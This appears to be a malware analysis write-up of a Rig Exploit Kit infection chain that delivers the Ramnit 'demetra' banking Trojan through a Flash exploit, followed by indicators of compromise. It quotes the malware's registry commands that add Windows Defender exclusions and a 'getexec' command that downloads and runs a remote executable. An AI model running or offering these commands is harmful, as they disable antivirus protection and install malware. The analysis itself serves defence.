Goal: Reverse the Rig Exploit Kit infection chain leading to Ramnit “demetra” banking Trojan.
Source: Malicious traffic
Tools: Fiddler, JPEXS, OllyDBG
Traffic Chain:
Seamless gate ->
-> Rig EK Landing ->
-> Rig EK Landing ->
http://188.225.78%5B.%5D174/?MTUzNzcy&pan=..&man=..&work=..
-> Rig EK CVE-2015-8651 Adobe Flash exploit
-> Rig EK CVE-2015-8651 Adobe Flash exploit
http://188.225.78%5B.%5D174/?NDYzMzgw&pan=..&man=..&shop=..
-> Ramnit Payload
-> Ramnit Payload
%TEMP%
-> Ramnit Payload (via its getexec command)
-> Ramnit Payload (via its getexec command)
getexec http://194.58.39%5B.%5D177/lenta3%5B.%5Dexe lenta.exe
I. RigEK’s observed URI parameters are as follows (User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)):
- MTUzNzcy (base64 landing)
- NDYzMzgw (base64 exploit)
- man
- pan
- work
- shop
II. Adobe Flash Player Exploit (CVE-2015-8651):
Upon successful exploitation of the integer overflow vulnerability (si32 and li32), the exploit runs a shellcode downloading and executing the Ramnit banker. See more here.
Upon successful exploitation of the integer overflow vulnerability (si32 and li32), the exploit runs a shellcode downloading and executing the Ramnit banker. See more here.
Interesting function name:
cremea_freedom
Ramnit aka “demetra” banking Trojan (dropped in %TEMP%; concatenates :Zone.Identifier as svchost[.]exe to the string and attempts to remove it as an anti-analysis trick, and leverages User Account Control (UAC) bypass method using application compatibility databases based on sdbinst[.]exe):
- AvTrust
- Antivirus Trusted Module v2.0 (AVG, Avast, Nod32, Norton, Bitdefender)
- XX’S
- Chrome reinstall
- Chrome reinstall module (x64-x86) v0.1
- CookieGrabber
- Cookie Grabber v0.2 (no mask)
- FtpGrabber2
- Ftp Grabber v2.0
- XX’S
- Hooker
- Spy module (Zeus, SE, Rootkit, Ignore SPDY) v4
- VNC IFSB
- VNC IFSB x64-x86
Ramnit anti-virus exclusion registry script:
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes ” /v svchost.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes ” /v consent.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes ” /v rundll32.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes ” /v spoolsv.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes ” /v explorer.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes ” /v rgjdu.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes ” /v afwqs.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions ” /v *.tmp /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions ” /v *.dll /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions ” /v *.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes ” /v svchost.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes ” /v consent.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes ” /v rundll32.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes ” /v spoolsv.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes ” /v explorer.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes ” /v rgjdu.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes ” /v afwqs.exe /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions ” /v *.tmp /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions ” /v *.dll /t REG_DWORD /d 0
- REG ADD “HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions ” /v *.exe /t REG_DWORD /d 0
Targets US-based financial institutions leveraging its webinjects (same as 8-7-2017):
Indicators of compromise (IOCs):
Rig EK Landing:
- URL: http://188.225.78%5B.%5D174/?MTUzNzcy&pan=..&man=..&work=..
- SHA1: b1078d9c131f3eb3bfb3a765a41d08f0ea0e5f36
Rig EK CVE-2015-8651 Exploit Flash integer overflow vulnerability:
- URL: http://188.225.78%5B.%5D174/?NDYzMzgw&pan=..&man=..&shop=..
- SHA1: aa6219cea38038d39b86ed05d5d5d7b60a7ae811
Ramnit initial:
- SHA1: d14c01bf072721a08dbbe75c6e1bc5e66ea2f972
- Location: %TEMP%
Ramnit getexec payload:
- Command: getexec http://194.58.39%5B.%5D177/lenta3%5B.%5Dexe lenta.exe
- URL: http://194.58.39%5B.%5D177/lenta3%5B.%5Dexe
- SHA1: 1b4e16beb1fdde74b459451500b54abcff9ca3b2
Reverse Engineering, Malware Deep Insight 